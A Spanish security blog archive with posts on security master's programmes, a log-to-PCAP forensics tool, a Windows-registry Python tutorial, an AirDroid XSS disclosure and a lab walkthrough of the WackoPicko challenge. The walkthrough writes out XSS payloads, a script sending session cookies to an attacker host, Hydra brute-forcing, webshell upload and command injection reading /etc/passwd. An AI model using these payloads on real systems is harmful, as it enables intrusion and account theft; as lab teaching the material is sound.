Información sobre masters en seguridad

Buenas a todos, después de mucho tiempo. He estado liado con los examenes de inglés y no he podido dedicarle lo que quería al blog.

Pese a ello, hoy no toca una entrada técnica. Debido a factores como la crisis económica, el efecto titulitis, el cambio educativo de las universidades españolas, o por otras diferentes razones, cada vez haya más gente que se está planteando cursar un master de seguridad en países de habla inglesa, principalmente the USA, Canada y UK. Por ello me gustaría comentar un par de cosas que puede ser de utilidad para estas personas. 

Primeramente quiero decir que si un master te aporta o no te aporta, si vale la pena teniendo experiencia laboral, si aprendes o es solo un papel / línea más en el curriculum es algo que tenéis que decidir vosotros. En esta entrada solo quiero resumir información que he recabado en este año y me parece de utilidad. 

Si estamos pensando en dar este paso, debemos saber que el mes límite para aplicar a la plaza en un master y presentar los requisitos cambia de un país a otro, e incluso entre universidades. Normalmente en USA o Canada el plazo para presentar la información termina en Febrero para estudiantes extranjeros (Julio nacionales) mientras que en UK es en Julio para todos. Los masters empiezan en Septiembre.

Otro punto a tener en cuenta es la duración de los master. Los masters duran dos años, pero cuidado no son 2 años completos, sino 3 trimestres por año donde en verano no hay clases. En UK en ocasiones existe la opción intensiva de coger 4 trimestres continuados y hacer el master en un año real, es decir, empezar en Septiembre y terminar en Septiembre. En el modo intensivo se tienen bastantes más horas por día ya que en 2 trimestres tienes que tener las mismas horas que en 3 trimestres en bianual. En modalidad de un año tienes clases de 9 a 17 de lunes a viernes. Este modo suele ser más difícil y las notas suelen ser más bajas (tienes la mitad de tiempo para estudiar y adquirir conocimientos).

Lo siguiente es los precios de los master, donde estos también cambian mucho entre un país y otro, así como, dependiendo de una universidad. En UK, si eres europeo te sueles ahorrar casi la mitad del coste del master, donde el precio ronda los 5K-12K libras (6-16K €). Si no eres europeo suelen rondar entre los 10-20K libras. En Canada el precio ronda los 27K $cad anuales (20K €). Respecto a USA ronda los 25K a 50K $ anuales (19K a 38K €).

Un punto importante a entender con los precios, bueno no se como decir esto de forma políticamente correcta, veamos... si tú haces un master en UK obtienes el master porque es por lo que pagas ¿lógico verdad?... Bueno si tu haces un master en USA en una institución sin animo de lucro o universidad "pública" tienes derecho a un visado temporal de trabajo durante un año o H1B. Sin decirlo, creo que algunos entendemos la diferencia de precios, ¿verdad? Un master normal en UCL, Oxford, Cambridge cuesta 10K libras, un master en MIT, Harvard, Standford, CMU cuesta 50K $.

Una vez entendido esto viene el perro verde, lo requisitos de entrada en un master. El 99% de gente de España pensamos que los requisitos significa tener o no tener el dinero para hacerlo. Totalmente falso, los requisitos de entrada a las buenas universidades son realmente altos. Muchas veces las empresas les importa un rábano lo aprendido durante el master, saben que si has hecho X master es porque has tenido que pasar Y jodidos requisitos iniciales. En EEUU he conocido gente preparandose entre uno y dos años para obtener todos los requisitos para poder aplicar al master. Empecemos:

• GPA: es la nota media en la carrera o bachelor degree. El GPA va de 1 a 4: 1 es suficiente, 2 es notable, 3 es sobresaliente y 4 es matricula de honor. Si vienes de España, es importante que sepas que para las convalidaciones de las notas de la universidad si tienes, por ejemplo, un 6.8 tienes un "1" no un "1.8" o "1.9", NO, tienes un "1". Si tienes un "8.5" tienes un "2". La nota mínima para entrar en un master es GPA 3.0, es decir, sobresaliente de media.

• Examen de inglés: si no vienes de un país de habla inglesa acreditado (la India no cuenta para muchas universidades) te toca hacer un examen de inglés. Normalmente hay dos examenes: IELTS académico y el TOEFL Ibit. El IELTS es británico y va de 1.0 a 9.0, el TOEFL es EEUU y la nota va de 1 a 120 puntos. Mientras el IELTS es escrito en papel, el TOEFL se hace en ordenador. No voy a entrar en mucho detalle, en mi opinión el IELTS es más fácil a excepción del listening que en TOEFL es muchísimo más sencillo.
  
  Normalmente los requisitos para entrar suelen ser de 6.5 IELTS o 80 TOEFL (B2 o First). Algunas universidades requieren 7.0 IELTS o 90 TOEFL (C1 o Advanced) y las mejores unis piden 7.5 IELTS o 100-105 TOEFL (C2 o Proficiency). Pero cuidado, que las notas mínimas de corte tienen trampa, me explico, ambos examenes se dividen en cuatro secciones: escrito, escuchado, hablado y leido. Para cada una de las secciones tenemos una nota, la media entre las cuatro es nuestra nota del examen. Todas las secciones valen la misma nota. Muchas universidades exigen una nota mínima para cada sección. Normalmente para IELTS es un punto menos de la nota mínima, es decir, si me pides una nota media 6.5 me vas a pedir una nota de 5.5 mínima en todas las secciones. En TOEFL suelen ser más exigentes, dividen la nota entre 4 y esa es la nota minima que debes sacar en cada sección, por ejemplo, si me pides un 80 me vas a pedir un 20 en cada una de las secciones.

• GRE/GMAT: son examenes tipo test de matemáticas o de matemáticas / inglés obligatorios para entrar en un master en USA. Es realmente complicado ya que a diferencia de los examenes de inglés, en este caso compites con nativos, donde tener que competir en la parte de inglés te pone en seria desventaja. Suelen pedir tener el 80 por ciento del examen correcto.

• Cartas de recomendación y entrevistas: te piden cartas de recomendación de jefes, clientes o profesores de universidad. Las universidades se suelen poner en contacto con ellos para preguntarles y cerciorarse, ya sea por correo o por telefono. Así mismo, es común una entrevista telefonica con el candidato o incluso pueden requerir que vayas en persona a la universidad. 

Para finalizar con el tema de aplicaciones decir que aplicar a un master, a excepción de algunas universidades de UK, cuesta dinero: entre 50 y 400 euros dependiendo de universidades. 

Una vez entendido estos puntos, toca el paso difícil de elegir la universidad ¿que tengo que mirar? ¿que es importante? ¿donde? ¿importa solo el nombre de la universidad? 

Normalmente la gente se fija en el QS que es el ranking de universidades, pero esto es el valor general de la universidad. El número de QS identifica tu posición en el ranking, por ejemplo la mejor uni es QS1. Para hacernos a la idea, las mejores unis españolas (hay dos o tres creo) suelen estar en el QS 250.

Pero cuidado, hay que entender un par de cosas. El QS tiene en cuenta publicaciones, posibilidad de encontrar trabajo una vez finalizado, inversión en investigación, opinión de los estudiantes, etc. Seamos sinceros, si yo lo que quiero es trabajar, ¿a mi que narices me importa las publicaciones en temas no relacionados con mi materia? A mi me interesa que el master sea una pasada y esta impartido por los mejores cracks en cada sección, ¿verdad?

Luego, lo de la salida laboral hay que cogerlo con pinzas, ya que depende de lo impartido en cada universidad. Si yo en mi universidad tengo solo ingenierías, a dia de hoy, es normal que tenga más salida laboral que una universidad con filosofía, psicología, derecho, filología. Pero no quiere decir que una uni sea mejor o peor pese a que la primera tendra mejor nota QS.

Por encima de todo esto, hay que mirar como de buena es esa universidad para esa determinada carrera y como de bueno es el master en seguridad. A mi me importa un huevo que la uni sea la mejor en negocios, a mi me interesa informática ¿quienes son las mejores universidades de informática y quienes ofrecen los mejores master de seguridad? Si yo te digo Carnegie Mellon (QS 30) seguramente ni la hayas escuchado, pese a que es la segunda mejor universidad de informática del mundo, por detrás del MIT. 

Una vez claro todo esto, vamos a finalizar enumerando los mejores masters de seguridad divididos por países:

USA:

• Carnegie Mellon's Master of Science in Information Security: simplemente el mejor master de seguridad a nivel mundial. Precio: 100K $, duración de dos años y requisitos de entrada para cagarse: GRE 85%, TOEFL 100 y GPA 3.7. Ojo que tenerlos no te asegura el puesto, simplemente que van a tratar tu caso.
• SANS MSISE: técnicamente está muy bien considerado. Hay que esperar a la acreditación. Sinceramente yo tengo mucha fe en este master de cara a futuro laboral, ya que, la gente que hace las asignaturas son gente con un reconocido nivel en cada área, en vez de profesores  con muy buenas notas y doctorados presentados hace 10 años. Los valores de entrada están super descompensado fruto de que es un master muy nuevo y carece de experiencia. Es prácticamente online y requiere de un esfuerzo elevado, muchas presentaciones, conferencias y publicaciones prácticas. Precio 45K $, TOEFL 100 y GPA 2.8. 

Canada:

• Information Systems Security en University of Concordia: bueno, fue mi primera opción pero el trato y lo que leí me hizo desistir, me reservo mi opinión. Si quieres trabajar en Canada es tu opción. Nota de entrada GPA 3.0, TOEFL 80 y precio sobre 27K $cad con seguro médico incluido.

UK:

• MSc in Information Security en University College of London (UCL): recomendado para aquellos que luego quieran dar el salto a doctorado puesto que esta úni es QS4. Duración de 1 año, GPA 3.5, IELTS 7.5 o TOEFL 100. Precio 10K libras.

• MSc in Information Security en Royal Hollow, University of London (RHUL): primer master de seguridad en Europa, tiene mucho prestigio por su historia. Es de las pocas universidades donde tienen un departamento entero de seguridad, es decir, el master depende del bloque de seguridad y no de informática. Es conocida por el factor técnico. Está invirtiendo mucho dinero en seguridad y esta luchando con universidades como UCL, Oxford y Cambridge (mirar enlaces más abajo). El problema es que su QS no es muy alto, suele estar entre 150 y 200. Duración de 1 año, GPA 3.0, IELTS 6.5 o TOEFL 88. Precio 10K libras.

• MSc in Information Security en University of York: es la balanza entre UCL y RHUL. Es decir, QS 100 considerada muy buena desde el punto de vista académico, pero no tan buena academicamente como la UCL. A su vez York es más técnica que la UCL pero no tanto como la RHUL. Duración de 1 año, GPA 3.0, IELTS 6.5 o TOEFL 79. Precio 5 K libras.

Si estaís interesados en UK, os recomiendo mirar estas dos noticias de hace poco sobre los doctorados en Reino Unido en seguridad:
http://www.bbc.co.uk/news/uk-england-surrey-22492930
http://www.gchq.gov.uk/press/pages/cyber-security-research-centres-of-excellence.aspx

Por tanto y resumiendo, Carnegie Mellon sería mi primera opción y luego, dependiendo de lo que buscara tiraría a UCL o RHUL. Si estamos trabajando el MSISE de SANS esta muy bien (esperar la acreditación) pero prepararos a trabajar ya que por horas es un master de dos años full time que teneís que compaginar con el trabajo.


Espero que os sea de utilidad. 

PD: falta revisión del texto, ha sido una entrada muy larga. Reviso mañana. 

PD2: si alguien quiere añadir algo es bienvenido. 

Herramienta forense Log2Pcap (Gold GCIA)

A principios de septiembre tenía que escribir un artículo para presentarlo como propuesta para la certificación GOLD GCIA de GIAC (SANS). Este documento tenía que estar relacionado con el tráfico de red y la detección de intrusos, orientado al análisis forense.

Del conjunto de distintas ideas que tenía en mente, pensé en las veces que me había encontrado con un registro (log) de un servidor Web, en el que se requería emplear expresiones regulares usando listas blancas y negras de patrones que identificasen de entre todas las entradas del registro cuáles podían identificar un incidente de seguridad.

Adicionalmente a las listas negras y blancas, tenemos una serie de herramientas de detección de intrusos a nivel de sistema, donde dado un registro de un servidor es capaz de detectar alertas a partir de unas reglas previamente creadas. Un ejemplo de estas herramientas fue expuesto con anterioridad por José Luis Chica donde se empleó la herramienta OSSEC.

Teniendo en cuenta estos motores de reglas, uno de los entornos con mayor número de reglas son las herramientas de detección de intrusos a nivel de red, como por ejemplo Snort. El principal problema de las herramientas de detección de intrusos a nivel de red es que los datos de entrada requieren justamente eso: tráfico de red, pero el técnico dispone del registro del servidor y no del tráfico de red que lo generó.

Por tanto, para poder usar estos motores de reglas es necesario ser capaz de leer ese registro de entrada y a partir de éste, generar el tráfico de red oportuno, de forma que dicho tráfico de red pueda ser inyectado en una herramienta de detección de intrusos a nivel de red. Con esta idea programé una pequeña herramienta (prueba de concepto), la cual es capaz de leer el fichero de registro de un ISS, Apache, Nginx o IBM Web Seal y guardar en un fichero PCAP el tráfico de red que generó dicho registro.

Para entenderlo mejor vamos a ver un ejemplo de uso de la herramienta, donde se dispone de un registro de un servidor web Apache donde una IP atacante (y ficticia) ha realizado una auditoría Web con la herramienta Nikto:

Por ello vamos a proceder a usar la herramienta Log2Pcap para que recree el tráfico de red correspondiente al registro del servidor. Lo primero es indicar donde está el fichero del registro, que se trata de un servidor Apache, la IP y puerto del servidor Web que ha sido auditado:

Como resultado tenemos un fichero llamado “result.pcap” que ocupa 168 K. Dicho fichero ya puede ser leído por todas las herramientas de red que tengan la capacidad de leer el fichero PCAP, como por ejemplo Tcpdump o Tcpflow:

De la misma forma que puede ser inyectado en este tipo de herramientas, también puede ser inyectado en un Snort para que emplee el motor de reglas en búsqueda de posibles ataques:

Dando como resultado las siguientes alertas:

El código fuente de la herramienta lo podéis encontrar aquí mientras que la documentación la tenéis explicada aquí. Siento que el inglés no sea el mejor pero el documento fue escrito hace aproximadamente cinco meses.

Respecto a la evolución de la herramienta, la segunda versión está casi terminada. La herramienta ha sido prácticamente reescrita desde cero y se han añadido funcionalidades como poder inyectar el tráfico a un interfaz de red sin ser necesaria la creación del fichero PCAP, API orientada a objetos e integración con Plaso.

En lo concerniente a las limitaciones la más importante es obvia: se depende totalmente de la integridad y de la información almacenada en dicho registro. Durante el desarrollo de la herramienta caí en la cuenta que prácticamente la mayoría de servidores web no registran por defecto las variables enviadas por POST. Por lo tanto, aunque la herramienta está preparada para leer registros con parámetros POST, si el servidor no está configurado adecuadamente se está perdiendo mucha información. La segunda limitación viene dada al intentar establecer una línea de tiempo, puesto que en ningún momento la herramienta relaciona la alerta de Snort con la entrada del registro que generó la alerta.

Otro punto importante a entender es que la herramienta no pretende sustituir a las expresiones regulares, a los motores de detección de intrusos a nivel de host o cualquier otro método usado previamente. El objetivo de la herramienta es ofrecer otra opción más que pueda proporcionar más información al técnico que gestione el incidente.

Para evitar confusión quiero comentar que existe otra herramienta perteneciente al motor de Samba que usa el mismo nombre. La cual hace justamente lo que su nombre indica: coge un fichero samba y genera un fichero PCAP. He de reconocer que nunca he usado dicha herramienta y que no conocía la existencia de la misma. Ambas tienen propósitos totalmente distintos, protocolos distintos y nada en común. He mantenido el nombre Log2Pcap porque es la metodología de nombre empleado para este tipo de herramienta. Posiblemente en la segunda versión, y dada las nuevas funcionalidades, le cambiaré el nombre a LogWeb2Net.

Para finalizar agradecería que los lectores me enviasen el fichero log de cualquier otro servidor Web no soportado hasta la fecha, lógicamente anonimizado antes del envío. Con un par de líneas donde se traten diferentes métodos como GET y POST sería suficiente.

Agradecimientos:

•  Gracias a Manolo Benet por la ayuda con la correción del inglés.
• Gracias a Jose Luis Chica y a Javi Vela por la validación del programa y por los logs personales de sus servidores (anonimizados previamente). 
• Graicas a Diego Samuel por probar la herramienta recien publicada.

Registro de windows con python-registry

Dejando por unos días de lado la auditoría web, en esta entrada haré una pequeña introducción a la libreria python-registry programada por Willi Ballenthin.

La librería permite trabajar sobre los ficheros que constituyen el registro de Windows, de forma que, durante un análisis forense se pueda interactuar con el registro para la busqueda de evidencias. Es una libreria al estilo RegRipper pero escrita en Python básico y por tanto, se puede ejecutar tanto en Windows, Linux como Mac Os X.

La libreria esta formada por dos ficheros:

• RegistryParse.py: bajo nivel de la librería. No es necesario conocerla si no se va a trabajar a muy bajo nivel del registro.
• Registry.py: clases que componene la API de la librería y que emplean RegistryParse.py para el tratamiento del registro. 

Registry.py divide el registro windows en tres clases:

• Registry: es el registro completo en si mismo, el arbol. Se usa para recorrer el registro.
• RegistryKey: es la únida básica del registro. Éste puede estar constituida por otros RegistryKey y/o por los valores del registro asignado a dicha Key.
• RegisterValue: valores que pueden estar asignados a un registro (Key). Cada valor está formado por tres partes: el nombre del valor, el tipo de valor y el dato que contiene dicho valor.  

Cada una de estas clases tiene una serie de metodos que recomiendo revisar en la API del proyecto. De todas formas, para la entrada en el blog veremos los más importantes.

Registry:

• open(): abre un registro en cierta posición.
• root(): abre el registro en la raiz del mismo. Útil para imprimir todo el registro por pantalla.

RegistryKey:

• timestamp(): devuelve el timestamp del registro.
• name(): nombre del registro.
• path(): ruta hasta el registro.
• parent(): padre del registro.
• subkeys(): lista de todas los registros hijos que tiene el registro.
• values(): lista de todos los valores que tiene este registro.

RegisterValue:

• name(): obtiene el nombre del valor del registro.
• value_type_str(): obtiene el nombre en ascii de tipo valor.
• value_type(): obtiene el número hexadecimal de tipo valor.
• value(): devuelve el dato asignado a ese valor del registro.

Una vez vista una pequeña introducción vamos a proceder a dar unos ejemplos de uso de la libreria. Dando por hecho que ya disponemos de un entorno con Python, lo primero que se debe hacer es descargarse la libreria desde el github del proyecto. Podemos pinchar sobre el icono de "zip" para descarganos el proyecto entero. Una vez descargado, tendremos que situarnos en la raiz del proyecto y ejecutar la siguiente orden para instalar la libreria:

# ./setup.py install

El siguiente paso necesario será descarganos un par de registros de ejemplo desde el proyecto de RegRipper donde poder usar la libreria. Con estos dos pasos ya tenemos el entorno listo y ejemplos con los que trabajar.

Para poder trabajar lo único que deberemos hacer es crear un fichero python con el siguiente código:

#!/usr/bin/python

import sys
from Registry import Registry

reg = Registry.Registry(sys.argv[1])

Con este código ya tendremos todo listo para trabajar sobre un fichero del registro, el cual será pasado como argumento al programa.

Como primer ejemplo vamos a crear un pequeño script que liste todos los valores de un registro donde se almacenan todos los programas que se ejecutan durante el arranque de Windows. El registro se encuentra en el fichero "SOFTWARE" en la key "Microsoft\\Windows\\CurrentVersion\\Run". Para ello solo se tendrá que añadir al final del fichero creado con anterioridad lo siguiente:

key = reg.open("Microsoft\\Windows\\CurrentVersion\\Run")
for value in key.values():
        print "\tName: " + value.name() + ", Path: " + value.value()

Como vemos, se indica al registro que habrá la key "Run" y que imprima todos los valores asociadas a esa Key. Siendo un poco princesitas deberíamos usar Try/Exception para evitar fallos futuros, con lo que el script quedaría tal que así:

#!/usr/bin/python
# -*- encoding: utf-8 -*-
"""
    Joaquín Moreno Garijo @moxilo
    Startup Windows Progams
"""
import sys
from Registry import Registry
reg = Registry.Registry(sys.argv[1])
print "\nStartup Programs (SOFTWARE FILE)..."
try:
    key = reg.open("Microsoft\\Windows\\CurrentVersion\\Run")
    for value in key.values():
            print "\tName: " + value.name() + ", Path: " + value.value()
except Registry.RegistryKeyNotFoundException:
    print "\t Nothing to do here"

Si lo ejecutamos contra el registro de ejemplo descargado con anterioridad, por ejemplo el de Vista, nos mostraría lo siguiente:

Otro ejemplo de la librería seria acceder a ciertos valores del registro para obtener solo la información que nos pudeira interesar, como por ejemplo la información del sitema operativo:

#!/usr/bin/python
# -*- encoding: utf-8 -*-
"""
    Joaquín Moreno Garijo @moxilo
    Info Windows
"""
import sys
from Registry import Registry
reg = Registry.Registry(sys.argv[1])
print "\nSystem information (SOFTWARE FILE)..."
try:
    key = reg.open("Microsoft\\Windows NT\\CurrentVersion")
    print "\tProduct name: " + key.value("ProductName").value()
    print "\tCurrentVersion: " + key.value("CurrentVersion").value()
    print "\tServicePack: " + key.value("CSDVersion").value()
    print "\tProductID: " + key.value("ProductId").value() + "\n"
except Registry.RegistryKeyNotFoundException:
    print "\tNothing in " + path

 Donde al ejecutarlo sobre el registro de ejemplo de un Windows 7 daría como resultado lo siguiente:

Como vemos la libreria es bastante sencilla de usar y puede servirnos para forense en Windows en caso que tengamos que revisar ciertos registros y nos sintamos más comodos usando Python que Perl.

Pra finalizar indicar que en el directorio samples de la librería tenemos varios ejemplos de uso de la misma para cosas realmente interesantes como busquedas de ciertas "Keys", "shellbags", incluso un lector gráfico del registro llamado "regview.py" que funciona de maravilla:

 Espero que os sirva para futuros forenses. 

¡Arriba Boston! ¡Copley aguanta!

XSS persistente en AirDroid

Estando algo aburrido en el bar viendo los Final Four del baloncesto universitario de EEUU, me dio por revisar los últimos tweets. Entre esos tweets estaba el del US-Cert notificando de una vulnerabilidad de XSS en la aplicación AirDroid debido a un fallo de saneamiento en la lectura de los mensajes o SMS (CVE-2013-0134). Resumiendo, si se recibe un SMS con cierto código JavaScript, al ser leido dicho SMS en la interfaz Web de AirDroid, se ejecutará el código JS contenido en el SMS.

Al ser una aplicación empleada por muchos dispositivos Android, decidí que nada más llegara a casa debía probarlo para ver en que consistia exactamente el fallo. Para la prueba empleé un Android 4 con AirDroid 1.1.0 (última versión disponible). 

Cotilleando un poco como funcionaba el tratamiento de mensajes con la herramienta de depuración de Firefox, y algun que otro plugin adicional, la solución parecía bastante sencilla:

Como vemos el "texto_SMS" está entre tags "<div>". Por lo que como prueba inicial lo que había que hacer era cerrar ese "div" e intentar introducir código JS básico para comprender como saneaba la aplicación ciertos caracteres. Para la primera prueba, y única, emplee algo tan sencillo como intentar ejecutar un pop-up con el texto "XSS":

a</div><script>alert("XSS");</script>

Al enviar al terminal Android dicho código como mensaje SMS, cuando este es visualizado en la opción de mensajes de AirDroid, se ejecuta el código JS del mensaje, y en el caso del ejemplo, se muestra la ventanita famosa con las letras "XSS":

Podemos ver la captura del mensaje original una vez ejecutado el código JS oportuno:

La verdad que bastante sencillito la vulnerabiliad, aunque todo sea dicho, la posibilidad de ser explotada es bastante baja. Pero bueno, todo sea por cotillear un poco la aplicación. Por ahora no hay parche, pero con un NoScript en Firefox o derivados y un poco de sentido común a la hora de emplear la herramienta debería ser suficiente.

PD: persistente siempre y cuando no se borre el SMS.

Reto Web WackoPicko (III)

Como tercera y última entrada del reto veremos que otras vulnerabilidades encontramos y como intentar sacar ventaja de ellas. Para ello continuaremos donde lo dejamos en la segunda entrada: auditando la parte concerniente a un usuario no autenticado, y por tanto, la parte pública de la web.

Entre los distintos posibles campos vulnerables a Cross Site Scripting o XSS encontramos dos que lo son. El primero se trata de un XSS reflejado y la segunda de un XSS permanente (más crítico).

El XSS reflejado lo encontramos en la opción de búsqueda (Search), en el campo "query" del recurso web /pictures/search.php. Dicho recurso no es filtrado adecudamente y al devolver el resultado de la busqueda añade un letrero del estilo:

Pictures that are tagged as 'prueba'

Si analizamos el código HTML vemos lo siguiente:

<div class="column prepend-1 span-24 first last">
<h2>Pictures that are tagged as 'prueba'</h2>

   <div class="column prepend-1 span-21 first last" style="margin-bottom: 2em;">
      <ul class="thumbnail-pic-list">

Por tanto lo único que tenemos que hacer es cerrar "h2" y "div" e introducir a continuación el código JS o HTML deseado. Por ejemplo para mostrar un "pop-up" con el mensaje "Ola K Ase" simplemente tenemos que introducir el siguiente texto como búsqueda:

'</h2></div><script>alert("Ola K Ase");</script>

En el caso del XSS persistente la vulnerabilidad se encuentre en la pagína de libro de invitados (Guestbook) en el parametro "comment" del recurso "guestbook.php". Al escribir un comentario, éste es guardado de forma permanente en la web, de tal dorma que, cualquier usaurio que visite el libro de visitas pueda ver el comentario. Si en vez de escribir un comentario introducimos código JS cualquier usuario que visitará el libro de visitas ejecutará el código JS introducido previamente por el atacante.

Por ejemplo si se introduce como comentario el siguiente texto se ejecutará otro pop-up con mensaje "LOL":

lalalal</p><script>alert("LOL");</script>

Para finalizar la parte publica vamos a acceder al recurso de administración de la web donde se nos requiere un usaurio y una contraseña para poder acceder al mismo. El recurso se encuentra en el recurso "/admin/index.php". Durante la auditoría de dicho recurso no se encuentra ningúna vulnerabilidad crítica, por lo que se procede como última instancia a comprobar que el servicio no presenta contraseña debiles. Para ello uso la herramienta Hydra en modo consola:

hydra -l admin -P /pentest/passwords/john/password.lst -s 80 -f 172.16.220.133  http-post-form "/WackoPicko/admin/index.php?page=login:adminname=^USER^&password=^PASS^:Admin Area"

Dando como resultado que el usuario admin emplea la contraseña trivial admin permitiendonos autenticarnos en la consola de administración, la cual todo sea dicho, no permite absolutamente hacer nada. Por tanto, no es necesario auditar la parte de administrador autenticado ya que no hay ninguna funcionalidad nueva.

A continucación tenemos que encargarnos de auditar la parte de usuario estandar autenticado en la aplicación web, puesto que previamente hemos auditado la parte pública. Para ello accederemos al entorno con el usuario legítimo previamente creado en el formulario de registro.

La primera vulnerabilidad que encontramos es otro XSS persistente situado en el bloque de comentarios de las fotos. El parametro en cuestión es "text" del recurso "/comments/preview_comment.php" el cual es vulnerable al poder introducir código JS y HTML. Como prueba de concepto podemos tomar el siguiente texto como comentario:

</p></div><script>alert("XSS");</script>

Una vez guardado el comentario, el código será ejecutado cuando un usuario visite la imagen donde se introduzco el comentario:

Vamos a complicar un poco la cosa, de forma que añadiendo un poco más de código JS en el comentario podamos hacer que cuando un usuario autenticado visite la foto, nos envie a un ordenador controlado por nosotros su cookie de sesión. Una vez dispongamos de la cookie del usuarios, podemos suplantar su cuenta sin llegar a conocer nunca ni el usuario ni la contraseña del mismo. Por ejemplo, si la IP del atacante es 172.16.220.132, podríamos enviar el siguiente comentario:

</p></div><script>document.write("<img src='http://172.16.220.132/index.php?=" + document.cookie + "'>");</script>

Donde levantando un netcat en el puerto 80 del equipo del atacante recibimos la cookie de sesión del usuario al visitrar éste la imagen "16" donde se había escrito como comentario el código anterior:

Para explotar la vulnerabilidad lo único que tenemos que hacer es acceder a la web como usaurio no autenticado y modificar el ID de sensión de la cookie mediante un tamper (Tamper Data de Firefox) o un proxy como por ejemplo Burp o Zap. En nuestro caso activamos Burp y modificamos el valor de la sesión de la cookie PHPSESSID por la obtenida de nuestra victima:

Por lo que al enviar al servidor Web la nueva variable de sesión suplantaremos al usuario victima y podremos acceder a la aplicación como si del mismo ususario se tratara:

 

 

Para finalizar, la última vulnerabilidad que detecte estaba relacionado con la funcionalidad Upload de la Web, la cual permitía subir ficheros al servidor. Este tipo de funcionalidades suele tener los típicos vectores de ataque relacionados con path transversal, remote file include y escritura de ficheros con código web.

En el caso de la aplicación detecte dos fallos distintos. El primero está relacionado con el path transversal y el segundo estaba relacionado con la capacidad de poder subir ficheros PHP y poder ejecutarlo en el motor PHP del servidor Web, lo que me permitió obtener una shell.

Para ello debemos acceder a la funcionalidad Upload del recurso y tener preparado una shell PHP como la proporcionada en la BackTrack en "/pentest/backdoors/web/webshells/php/". Una vez accedido al recursos se nos solicita mucha información como nombre del fichero, tag, precio, etc. Vamos a introducirlos con nombres sencillos de reconocer para identificar como almacena la aplicación el fichero:

Una vez enviado el fichero, comprobamos que la Web almacena el fichero de la siguiente forma:

http://Ip_Servidor/WackoPicko/upload/vtag/vname.550.jpg

Es decir, los ficheros se guardan en el directorio "upload" de la aplicación, y dentro de este directorio, el parametro "tag" identifica al directorio. El nombre del fichero está formado por el parametro "name" + ".550.jpg". Así mismo hemos visto que  al subir el fichero PHP no nos ha dado un fallo y este se ha almacenado correctamente. Por tanto el objetivo es intentar eliminar el ".550.jpg" del final. Para ello la mejor forma y sencilla al tratarse de código "PHP" es introducir el caracter "" al final del nombre del fichero, como por ejemplo:

shell.php

El fichero anterior debería ser guardado como "/upload/Vtag/shell.php", pero no se encuentra cuando intentamos acceder a él. Es necesario analizar mejor como funciona la herramienta.

Por ello proceso a subir una imagen estandar y ver como funciona la aplicación. Donde observo que guarda en el directorio especificado la imagen original con el mismo nombre que cuando la subimos, y a su vez, parece crear imagenes ficheros adicionales como el terminado en ".550.jpg" donde se modifica la resolución para adaptarse a la Web. Por ello la solución para subir la shell es mucho más sencilla, únicamente hay que indicar como nombre del fichero "shell.php" sin los "" y subirla de nuevo:

http://Ip_Servidor/WackoPicko/upload/vtag/shell.php

De forma que al acceder al recurso tengamos acceso a una shell PHP:

Para finalizar indicar que el parametro "tag" que identifica al directorio es vulnerable a path transversal con lo que se podría escribir en cualquier parte del recurso web, como por ejemplo en la raiz. Un ejemplo para ello sería el siguiente valor como tag:

../

Con todo lo expuesto hasta ahora daría por finalizado el reto. Si analizamos la documentación del reto indicada en la primera entrada, vemos que en las tres entradas están casi todas las vulnerabilidades notificadas, aunque hay un par que se me escaparón, como la relacionado con el ID de sesión de la parte de administación. 

Creo que este tipo de retos ayudan bastante a la hora de mejorar, o al menos mantenerlos en forma, en lo que es auditoría web básica y sencilla se refiere, sin mucho filtro a nivel de porgramación, WAF, IPS, errores no mostrados, SQL Blind, etc. que sí que complicarían de forma considerable la auditoría.

Ya solo me queda animaros a realizar el reto y comprobar los resultados obtenidos con los mios, así como, los propuestos por los autores del mismo.

Reto Web WackoPicko (II)

En la entrada pasada se analizo todos los recursos inicialmente disponibles. Una vez identificado todos los posibles vectores de ataque vamos a proceder a analizarlos. En el caso de la entrada iré directamente a aquellos recursos donde encontre vectores explotables y el motivo por el cual consideré que podrían serlo.

Se procederá primero a auditar la parte concerniente a la visibilidad de un usuario no registrado correspondiente a la parte superior del diagrama visto en la entrada pasada.

Dentro de este bloque el primer recurso ha analizar es el asingado a crear usuario (/users/register.php):

1. Se procedio a comprobar si la pagína web devolcia algun campo de los introducidos, es decir, si al poner un nombre incorrecto la página web nos indicaba que el nombre era incorrecto, de forma que, podriamos tratar de introducir código HTML en los campos de entrada y ver si la web lo escupia tal como se lo enviamos de forma que pudiera ser vulnerable a XSS. No hubo exito.
   
   
2. También se intento la ejecución de código SQL sin exito.
   
   
3. Para finalizar se comproba si al introducir un usuario existente la página notificaba que el usuario ya existia. En este caso la web notificaba que el usuario ya existia y por tanto estamos ante un metodo que nos permite obtener los usuarios existentes en la web.
   
   
   

Dentro de este mismo bloque, tenemos un enlace que nos permite comprobar la robustez de la contraseña. El recurso en concreto es "passcheck.php" en el cual al introducir una contraseña comprueba mediante un grep a un fichero si la contraseña existe ya en el fichero. Al disponer del comando que se ejecuta solo necesitamos unas pocas nociones de shell para conseguir ejecutar ordenes en el sistema. Para ello se prepara una condición para que la parte de la izquierda sea una orden correcta, seguida de un "|" y para finalizar añadimos al final la almohadilla (#) para eliminar la parte de la derecha de la orden. Veamos como hay que hacerlo:

Inicialmente introducimos como contraseña a comprobar lo siguiente:

root /etc/passwd #

Ejecutandose la siguiente orden:

grep ^root /etc/passwd #$ /etc/dictionaries-common/words

Donde la página web nos notifica que el password es una mala contraseña. Esto es porque al existir la cadena root en el fichero "/etc/passwd" el fichero PHP lo interpreta como que existe en el diccionario y por tanto es una contraseña trivial.  Si pusieramos en vez de la cadena "root" algo tal que "abcdefgjrhgdjfghd" nos diria que la contraseña es correcta.

Sabiendo ya como poder ejecutar ordenes el el sistema vamos a poner a la izquierda la orden anterior acompañado con un "y ejecuta también esto" o "|". Por ejemplo, si queremos saber en que directorio nos encontramos usando la orden "pwd" introduciriamos como campo contraseña lo siguiente:

root /etc/passwd | pwd > prueba | echo #

Donde al acceder al recurso "http://IP_Serv_Web/WackoPicko/prueba" nos mostraria el directorio donde esta WackoPicko. 

Ahora vamos a ejecutar lo anterior pero introduciendo más ordenes como listado del directorio, id del usuario y volcado del fichero "/etc/passwd":  

root /etc/passwd | pwd > prueba && ls >> prueba && id >> prueba && cat /etc/passwd >> prueba && ps -aux >> prueba | echo #

Teniendo en cuenta que gracias a esto ya podemos ir listando los directorios internos de la Web y que mediante un simple grep eliminando la shell "php" seriamos capaces de obtener el código completo de la página Web. Realizando este proceso llegamos a cosas tan originales como encontrar el fichero ourdb.php, existente en el directorio "include", donde se encuentra almacenado el usuario y la contraseña de la BBDD usada por la aplicación:

